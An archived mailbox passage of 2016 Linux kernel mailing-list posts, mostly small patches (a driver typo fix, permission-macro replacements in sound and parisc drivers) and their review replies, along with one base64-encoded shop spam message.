X-Google-Sender-Auth: t7YqHOiU7yfO1fe6tNwpibm4QBg
Original-Sender: linux-alpha-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-alpha.vger.kernel.org>
X-Mailing-List: linux-alpha@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.alpha:3853 gmane.linux.kernel:2272372 gmane.linux.kernel.cross-arch:33229 gmane.linux.ports.arm.kernel:516024 gmane.linux.ports.m68k:8803 gmane.linux.ports.mips.general:55523 gmane.linux.ports.parisc:26933 gmane.linux.ports.ppc64.devel:130760 gmane.linux.ports.sparc:23372
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.alpha/3853>

On Sun, Jul 24, 2016 at 8:42 PM, Paul Gortmaker
<paul.gortmaker@windriver.com> wrote:
>
> While doing an audit looking for unnecessary instances of module.h
> inclusion across arch/x86/ I found a significant number of includes
> of module.h were for things like search_exception_table and friends.
>
> For historical reasons (i.e. pre-git) the exception table stuff was
> buried in the middle of the module.h file.  So we have core kernel
> files that are completely non-modular (both arch specific and arch
> independent) that are just including module.h for this.
>
> The converse is also true, in that conventional drivers, be they for
> filesystems or actual hardware peripherals or similar, do not
> normally care about the exception tables.
>
> Here we fork the exception table content [...]

This looks to be the right thing to do as far as I can tell. I'm not
sure how big of a problem the extable stuff is (we definitely have
much bigger unnecessary include files that cause a lot more problems),
but it seems like a reasonable cleanup.

              Linus
--
To unsubscribe from this list: send the line "unsubscribe linux-alpha" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:06 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: "hi" <freakibjoerni@aol.de>
Newsgroups: gmane.linux.ports.parisc
Subject: =?utf-8?B?4peLSGk=?=
Date: Sat, 30 Jul 2016 22:17:59 +0800
Lines: 11
Approved: news@gmane.org
Message-ID: <BBE6F21EFAF3641AFFEDE6CCC2AFED7D@jvxvzepn>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="utf-8"
Content-Transfer-Encoding: base64
X-Trace: blaine.gmane.org 1469888307 6171 80.91.229.8 (30 Jul 2016 14:18:27 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sat, 30 Jul 2016 14:18:27 +0000 (UTC)
To: <denkant@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Jul 30 16:18:18 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1bTV5j-0001Pb-7k
	for glpp-linux-parisc@m.gmane.org; Sat, 30 Jul 2016 16:18:15 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751347AbcG3OSO (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 30 Jul 2016 10:18:14 -0400
Original-Received: from oms-a012e.mx.aol.com ([204.29.186.157]:33726 "EHLO
	oms-a012e.mx.aol.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751064AbcG3OSO (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 30 Jul 2016 10:18:14 -0400
Original-Received: from omr-a008e.mx.aol.com (omr-a008.mx.aol.com [10.72.94.61])
	(using TLSv1 with cipher ADH-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by oms-a012e.mx.aol.com (AOL Outbound OMS Interface) with ESMTPS id 6C2523800372
	for <linux-parisc@vger.kernel.org>; Sat, 30 Jul 2016 10:18:11 -0400 (EDT)
Original-Received: from mtaout-mbd01.mx.aol.com (mtaout-mbd01.mx.aol.com [172.26.252.13])
	by omr-a008e.mx.aol.com (Outbound Mail Relay) with ESMTP id 33E06380009A;
	Sat, 30 Jul 2016 10:18:11 -0400 (EDT)
Original-Received: from jvxvzepn (114-46-191-245.dynamic.hinet.net [114.46.191.245])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by mtaout-mbd01.mx.aol.com (MUA/Third Party Client Interface) with ESMTPSA id E4CEB3800008C;
	Sat, 30 Jul 2016 10:17:50 -0400 (EDT)
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 6.00.2900.5512
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2900.5512
x-aol-global-disposition: S
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=mx.aol.de;
	s=20150623; t=1469888291;
	bh=gtzm7TNNfbhT2Q70+VeySzV/6S5bXAcGu70akC33aWE=;
	h=From:To:Subject:Message-ID:Date:MIME-Version:Content-Type;
	b=uvBhohb6X0KKoNzB2INpsvmHH7unOmXlVV+m9L9DeOT/llybX4XPP/bM26p/RjWDi
	 8221QzXTcUKZPlz+VymGH+T23Xrfams0nk30W13A5H6MCovEs1Yhet+k6awee1xUsO
	 c+/GMfbanU4y68kMoySU+E/PZcj9QqzaT59N37G8=
X-AOL-REROUTE: YES
x-aol-sid: 3039ac1afc0d579cb70e14c5
X-AOL-IP: 114.46.191.245
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26934
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26934>

aGkNCnRoaXMgaXMgYW4gZWxlY3Ryb25pY3Mgc2hvcA0KYmlrZSxicmFuZCBndWl0YXIsY2FtZXJh
LHR2LHNhbXN1bmcgcHJvZHVjdC4uLi4gZnJlZSBzaGlwcGluZw0Kd3d3IC5zbG9vb25lIC5jb20N
CmlmIHlvdSBkbyBub3Qgd2FudCByZWNlaXZlIG91ciBlbWFpbC4gcGxlYXNlIHJlcGx5IHRvIHVz
LCB3ZSB3aWxsIG5ldmVyIHNlbmQgZW1haWwgdG8geW91


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:06 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Colin King <colin.king@canonical.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.network,gmane.linux.kernel
Subject: [PATCH] net: tulip: fix spelling mistake: "attemping" -> "attempting"
Date: Sat, 30 Jul 2016 17:47:07 +0100
Lines: 30
Approved: news@gmane.org
Message-ID: <1469897227-5476-1-git-send-email-colin.king@canonical.com>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1469897315 19268 80.91.229.8 (30 Jul 2016 16:48:35 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sat, 30 Jul 2016 16:48:35 +0000 (UTC)
Cc: linux-kernel@vger.kernel.org
To: "David S . Miller" <davem@davemloft.net>,
	Florian Westphal <fw@strlen.de>,
	Antonio Quartulli <a@unstable.cc>,
	Felipe Balbi <felipe.balbi@linux.intel.com>,
	Mugunthan V N <mugunthanvnm@ti.com>,
	Fabian Frederick <fabf@skynet.be>, netdev@vger.kernel.org,
	linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Jul 30 18:48:21 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1bTXQy-0004wb-Dz
	for glpp-linux-parisc@m.gmane.org; Sat, 30 Jul 2016 18:48:20 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752389AbcG3QsT (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 30 Jul 2016 12:48:19 -0400
Original-Received: from youngberry.canonical.com ([91.189.89.112]:34314 "EHLO
	youngberry.canonical.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752094AbcG3QsS (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 30 Jul 2016 12:48:18 -0400
Original-Received: from cpc86913-craw7-2-0-cust134.16-3.cable.virginm.net ([92.239.46.135] helo=localhost)
	by youngberry.canonical.com with esmtpsa (TLS1.0:RSA_AES_256_CBC_SHA1:32)
	(Exim 4.76)
	(envelope-from <colin.king@canonical.com>)
	id 1bTXQp-0002s3-1K; Sat, 30 Jul 2016 16:48:11 +0000
X-Mailer: git-send-email 2.8.1
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26935 gmane.linux.network:423456 gmane.linux.kernel:2276015
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26935>

From: Colin Ian King <colin.king@canonical.com>

trivial fix to spelling mistake in printk message

Signed-off-by: Colin Ian King <colin.king@canonical.com>
---
 drivers/net/ethernet/dec/tulip/de4x5.c | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/drivers/net/ethernet/dec/tulip/de4x5.c b/drivers/net/ethernet/dec/tulip/de4x5.c
index cbe8497..f0e9e2e 100644
--- a/drivers/net/ethernet/dec/tulip/de4x5.c
+++ b/drivers/net/ethernet/dec/tulip/de4x5.c
@@ -1319,7 +1319,7 @@ de4x5_open(struct net_device *dev)
 
     if (request_irq(dev->irq, de4x5_interrupt, IRQF_SHARED,
 		                                     lp->adapter_name, dev)) {
-	printk("de4x5_open(): Requested IRQ%d is busy - attemping FAST/SHARE...", dev->irq);
+	printk("de4x5_open(): Requested IRQ%d is busy - attempting FAST/SHARE...", dev->irq);
 	if (request_irq(dev->irq, de4x5_interrupt, IRQF_SHARED,
 			                             lp->adapter_name, dev)) {
 	    printk("\n              Cannot get IRQ- reconfigure your hardware.\n");
-- 
2.8.1

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: David Miller <davem@davemloft.net>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.network,gmane.linux.kernel
Subject: Re: [PATCH] net: tulip: fix spelling mistake: "attemping" ->
 "attempting"
Date: Sat, 30 Jul 2016 23:14:09 -0700 (PDT)
Lines: 15
Approved: news@gmane.org
Message-ID: <20160730.231409.583082090197899873.davem@davemloft.net>
References: <1469897227-5476-1-git-send-email-colin.king@canonical.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: Text/Plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1469945691 27934 80.91.229.8 (31 Jul 2016 06:14:51 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sun, 31 Jul 2016 06:14:51 +0000 (UTC)
Cc: fw@strlen.de, a@unstable.cc, felipe.balbi@linux.intel.com,
	mugunthanvnm@ti.com, fabf@skynet.be, netdev@vger.kernel.org,
	linux-parisc@vger.kernel.org, linux-kernel@vger.kernel.org
To: colin.king@canonical.com
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Jul 31 08:14:36 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1bTk1E-0007CB-3P
	for glpp-linux-parisc@m.gmane.org; Sun, 31 Jul 2016 08:14:36 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750890AbcGaGOO (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 31 Jul 2016 02:14:14 -0400
Original-Received: from shards.monkeyblade.net ([184.105.139.130]:52432 "EHLO
	shards.monkeyblade.net" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1750816AbcGaGON (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 31 Jul 2016 02:14:13 -0400
Original-Received: from localhost (74-93-104-98-Washington.hfc.comcastbusiness.net [74.93.104.98])
	(Authenticated sender: davem-davemloft)
	by shards.monkeyblade.net (Postfix) with ESMTPSA id 4EEC6597EDB;
	Sat, 30 Jul 2016 23:14:12 -0700 (PDT)
In-Reply-To: <1469897227-5476-1-git-send-email-colin.king@canonical.com>
X-Mailer: Mew version 6.7 on Emacs 24.5 / Mule 6.0 (HANACHIRUSATO)
X-Greylist: Sender succeeded SMTP AUTH, not delayed by milter-greylist-4.5.12 (shards.monkeyblade.net [149.20.54.216]); Sat, 30 Jul 2016 23:14:12 -0700 (PDT)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26936 gmane.linux.network:423480 gmane.linux.kernel:2276067
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26936>

From: Colin King <colin.king@canonical.com>
Date: Sat, 30 Jul 2016 17:47:07 +0100

> From: Colin Ian King <colin.king@canonical.com>
> 
> trivial fix to spelling mistake in printk message
> 
> Signed-off-by: Colin Ian King <colin.king@canonical.com>

Applied, thanks.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:06 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Baole Ni <baolex.ni@intel.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.alsa.devel,gmane.linux.kernel
Subject: [PATCH 1205/1285] Replace numeric parameter like 0444 with macro
Date: Tue,  2 Aug 2016 20:26:28 +0800
Lines: 48
Approved: news@gmane.org
Message-ID: <20160802122628.30529-1-baolex.ni@intel.com>
NNTP-Posting-Host: blaine
X-Trace: blaine.gmane.org 1470144672 17217 195.159.176.226 (2 Aug 2016 13:31:12 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 2 Aug 2016 13:31:12 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org, alsa-devel@alsa-project.org,
	linux-kernel@vger.kernel.org, chuansheng.liu@intel.com,
	baolex.ni@intel.com, aryabinin@virtuozzo.com
To: T-Bone@parisc-linux.org, perex@perex.cz, tiwai@suse.com,
	serge@hallyn.com, davem@davemloft.net, kadlec@blackhole.kfki.hu,
	m.szyprowski@samsung.com, kyungmin.park@samsung.com,
	k.kozlowski@samsung.com
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Aug 02 15:31:07 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1bUZmh-0003lz-Lp
	for glpp-linux-parisc@m.gmane.org; Tue, 02 Aug 2016 15:31:04 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S966046AbcHBNaw (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 2 Aug 2016 09:30:52 -0400
Original-Received: from mga02.intel.com ([134.134.136.20]:17776 "EHLO mga02.intel.com"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S966599AbcHBNak (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 2 Aug 2016 09:30:40 -0400
Original-Received: from orsmga003.jf.intel.com ([10.7.209.27])
  by orsmga101.jf.intel.com with ESMTP; 02 Aug 2016 06:04:09 -0700
X-ExtLoop1: 1
X-IronPort-AV: E=Sophos;i="5.28,460,1464678000"; 
   d="scan'208";a="858163463"
Original-Received: from shsibuild003.sh.intel.com ([10.239.146.225])
  by orsmga003.jf.intel.com with ESMTP; 02 Aug 2016 06:04:06 -0700
X-Mailer: git-send-email 2.9.2
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26937 gmane.linux.alsa.devel:157226 gmane.linux.kernel:2277904
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26937>

I find that the developers often just specified the numeric value
when calling a macro which is defined with a parameter for access permission.
As we know, these numeric value for access permission have had the corresponding macro,
and that using macro can improve the robustness and readability of the code,
thus, I suggest replacing the numeric parameter with the macro.

Signed-off-by: Chuansheng Liu <chuansheng.liu@intel.com>
Signed-off-by: Baole Ni <baolex.ni@intel.com>
---
 sound/pci/ad1889.c | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/sound/pci/ad1889.c b/sound/pci/ad1889.c
index 1fc6d8b..d27552f 100644
--- a/sound/pci/ad1889.c
+++ b/sound/pci/ad1889.c
@@ -58,19 +58,19 @@ MODULE_LICENSE("GPL");
 MODULE_SUPPORTED_DEVICE("{{Analog Devices,AD1889}}");
 
 static int index[SNDRV_CARDS] = SNDRV_DEFAULT_IDX;
-module_param_array(index, int, NULL, 0444);
+module_param_array(index, int, NULL, S_IRUSR | S_IRGRP | S_IROTH);
 MODULE_PARM_DESC(index, "Index value for the AD1889 soundcard.");
 
 static char *id[SNDRV_CARDS] = SNDRV_DEFAULT_STR;
-module_param_array(id, charp, NULL, 0444);
+module_param_array(id, charp, NULL, S_IRUSR | S_IRGRP | S_IROTH);
 MODULE_PARM_DESC(id, "ID string for the AD1889 soundcard.");
 
 static bool enable[SNDRV_CARDS] = SNDRV_DEFAULT_ENABLE_PNP;
-module_param_array(enable, bool, NULL, 0444);
+module_param_array(enable, bool, NULL, S_IRUSR | S_IRGRP | S_IROTH);
 MODULE_PARM_DESC(enable, "Enable AD1889 soundcard.");
 
 static char *ac97_quirk[SNDRV_CARDS];
-module_param_array(ac97_quirk, charp, NULL, 0444);
+module_param_array(ac97_quirk, charp, NULL, S_IRUSR | S_IRGRP | S_IROTH);
 MODULE_PARM_DESC(ac97_quirk, "AC'97 workaround for strange hardware.");
 
 #define DEVNAME "ad1889"
-- 
2.9.2

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:06 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Baole Ni <baolex.ni@intel.com>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.alsa.devel
Subject: [PATCH 1203/1285] Replace numeric parameter like 0444 with macro
Date: Tue,  2 Aug 2016 20:26:17 +0800
Lines: 32
Approved: news@gmane.org
Message-ID: <20160802122617.30395-1-baolex.ni@intel.com>
NNTP-Posting-Host: blaine
X-Trace: blaine.gmane.org 1470144706 26228 195.159.176.226 (2 Aug 2016 13:31:46 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 2 Aug 2016 13:31:46 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org, alsa-devel@alsa-project.org,
	linux-kernel@vger.kernel.org, chuansheng.liu@intel.com,
	baolex.ni@intel.com, aryabinin@virtuozzo.com
To: perex@perex.cz, tiwai@suse.com, serge@hallyn.com,
	davem@davemloft.net, kadlec@blackhole.kfki.hu,
	m.szyprowski@samsung.com, kyungmin.park@samsung.com,
	k.kozlowski@samsung.com
Original-X-From: linux-kernel-owner@vger.kernel.org Tue Aug 02 15:31:42 2016
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1bUZnF-000693-Tu
	for glk-linux-kernel-3@m.gmane.org; Tue, 02 Aug 2016 15:31:38 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S966411AbcHBNbY (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Tue, 2 Aug 2016 09:31:24 -0400
Original-Received: from mga03.intel.com ([134.134.136.65]:7126 "EHLO mga03.intel.com"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S966575AbcHBNak (ORCPT <rfc822;linux-kernel@vger.kernel.org>);
	Tue, 2 Aug 2016 09:30:40 -0400
Original-Received: from orsmga002.jf.intel.com ([10.7.209.21])
  by orsmga103.jf.intel.com with ESMTP; 02 Aug 2016 06:03:58 -0700
X-ExtLoop1: 1
X-IronPort-AV: E=Sophos;i="5.28,460,1464678000"; 
   d="scan'208";a="1028297061"
Original-Received: from shsibuild003.sh.intel.com ([10.239.146.225])
  by orsmga002.jf.intel.com with ESMTP; 02 Aug 2016 06:03:56 -0700
X-Mailer: git-send-email 2.9.2
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2277909 gmane.linux.ports.parisc:26938 gmane.linux.alsa.devel:157229
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2277909>

I find that the developers often just specified the numeric value
when calling a macro which is defined with a parameter for access permission.
As we know, these numeric value for access permission have had the corresponding macro,
and that using macro can improve the robustness and readability of the code,
thus, I suggest replacing the numeric parameter with the macro.

Signed-off-by: Chuansheng Liu <chuansheng.liu@intel.com>
Signed-off-by: Baole Ni <baolex.ni@intel.com>
---
 sound/parisc/harmony.c | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/sound/parisc/harmony.c b/sound/parisc/harmony.c
index 99b64cb..4531062 100644
--- a/sound/parisc/harmony.c
+++ b/sound/parisc/harmony.c
@@ -60,9 +60,9 @@
 
 static int index = SNDRV_DEFAULT_IDX1;	/* Index 0-MAX */
 static char *id = SNDRV_DEFAULT_STR1;	/* ID for this card */
-module_param(index, int, 0444);
+module_param(index, int, S_IRUSR | S_IRGRP | S_IROTH);
 MODULE_PARM_DESC(index, "Index value for Harmony driver.");
-module_param(id, charp, 0444);
+module_param(id, charp, S_IRUSR | S_IRGRP | S_IROTH);
 MODULE_PARM_DESC(id, "ID string for Harmony driver.");
 
 
-- 
2.9.2



From - Thu Nov 08 21:39:06 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Baole Ni <baolex.ni@intel.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: [PATCH 0815/1285] Replace numeric parameter like 0444 with macro
Date: Tue,  2 Aug 2016 19:49:08 +0800
Lines: 33
Approved: news@gmane.org
Message-ID: <20160802114908.4299-1-baolex.ni@intel.com>
NNTP-Posting-Host: blaine
X-Trace: blaine.gmane.org 1470152014 27842 195.159.176.226 (2 Aug 2016 15:33:34 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 2 Aug 2016 15:33:34 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org, linux-kernel@vger.kernel.org,
	chuansheng.liu@intel.com, baolex.ni@intel.com, arnd@arndb.de
To: jejb@parisc-linux.org, deller@gmx.de, Allen.Hubbe@emc.com,
	rjui@broadcom.com, sbranden@broadcom.com, m.chehab@samsung.com,
	pawel@osciak.com, m.szyprowski@samsung.com,
	kyungmin.park@samsung.com, k.kozlowski@samsung.com
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Aug 02 17:33:28 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1bUbh9-0006kT-7T
	for glpp-linux-parisc@m.gmane.org; Tue, 02 Aug 2016 17:33:27 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S964924AbcHBPd0 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 2 Aug 2016 11:33:26 -0400
Original-Received: from mga03.intel.com ([134.134.136.65]:43346 "EHLO mga03.intel.com"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S934902AbcHBM0u (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 2 Aug 2016 08:26:50 -0400
Original-Received: from fmsmga002.fm.intel.com ([10.253.24.26])
  by orsmga103.jf.intel.com with ESMTP; 02 Aug 2016 05:26:49 -0700
X-ExtLoop1: 1
X-IronPort-AV: E=Sophos;i="5.28,460,1464678000"; 
   d="scan'208";a="1033594995"
Original-Received: from shsibuild003.sh.intel.com ([10.239.146.225])
  by fmsmga002.fm.intel.com with ESMTP; 02 Aug 2016 05:26:46 -0700
X-Mailer: git-send-email 2.9.2
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26939 gmane.linux.kernel:2278278
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26939>

I find that the developers often just specified the numeric value
when calling a macro which is defined with a parameter for access permission.
As we know, these numeric value for access permission have had the corresponding macro,
and that using macro can improve the robustness and readability of the code,
thus, I suggest replacing the numeric parameter with the macro.

Signed-off-by: Chuansheng Liu <chuansheng.liu@intel.com>
Signed-off-by: Baole Ni <baolex.ni@intel.com>
---
 drivers/parisc/sba_iommu.c | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/drivers/parisc/sba_iommu.c b/drivers/parisc/sba_iommu.c
index 42ec460..416fa51 100644
--- a/drivers/parisc/sba_iommu.c
+++ b/drivers/parisc/sba_iommu.c
@@ -113,7 +113,7 @@ static unsigned long piranha_bad_128k = 0;
 
 #ifdef SBA_AGP_SUPPORT
 static int sba_reserve_agpgart = 1;
-module_param(sba_reserve_agpgart, int, 0444);
+module_param(sba_reserve_agpgart, int, S_IRUSR | S_IRGRP | S_IROTH);
 MODULE_PARM_DESC(sba_reserve_agpgart, "Reserve half of IO pdir as AGPGART");
 #endif
 
-- 
2.9.2

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:06 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Baole Ni <baolex.ni@intel.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: [PATCH 0814/1285] Replace numeric parameter like 0444 with macro
Date: Tue,  2 Aug 2016 19:49:03 +0800
Lines: 60
Approved: news@gmane.org
Message-ID: <20160802114904.4233-1-baolex.ni@intel.com>
NNTP-Posting-Host: blaine
X-Trace: blaine.gmane.org 1470152122 26265 195.159.176.226 (2 Aug 2016 15:35:22 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 2 Aug 2016 15:35:22 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org, linux-kernel@vger.kernel.org,
	chuansheng.liu@intel.com, baolex.ni@intel.com, arnd@arndb.de
To: jejb@parisc-linux.org, deller@gmx.de, Allen.Hubbe@emc.com,
	rjui@broadcom.com, sbranden@broadcom.com, m.chehab@samsung.com,
	pawel@osciak.com, m.szyprowski@samsung.com,
	kyungmin.park@samsung.com, k.kozlowski@samsung.com
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Aug 02 17:35:17 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1bUbit-0006PL-TP
	for glpp-linux-parisc@m.gmane.org; Tue, 02 Aug 2016 17:35:16 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S934265AbcHBPfO (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 2 Aug 2016 11:35:14 -0400
Original-Received: from mga14.intel.com ([192.55.52.115]:11915 "EHLO mga14.intel.com"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S934885AbcHBM0p (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 2 Aug 2016 08:26:45 -0400
Original-Received: from fmsmga001.fm.intel.com ([10.253.24.23])
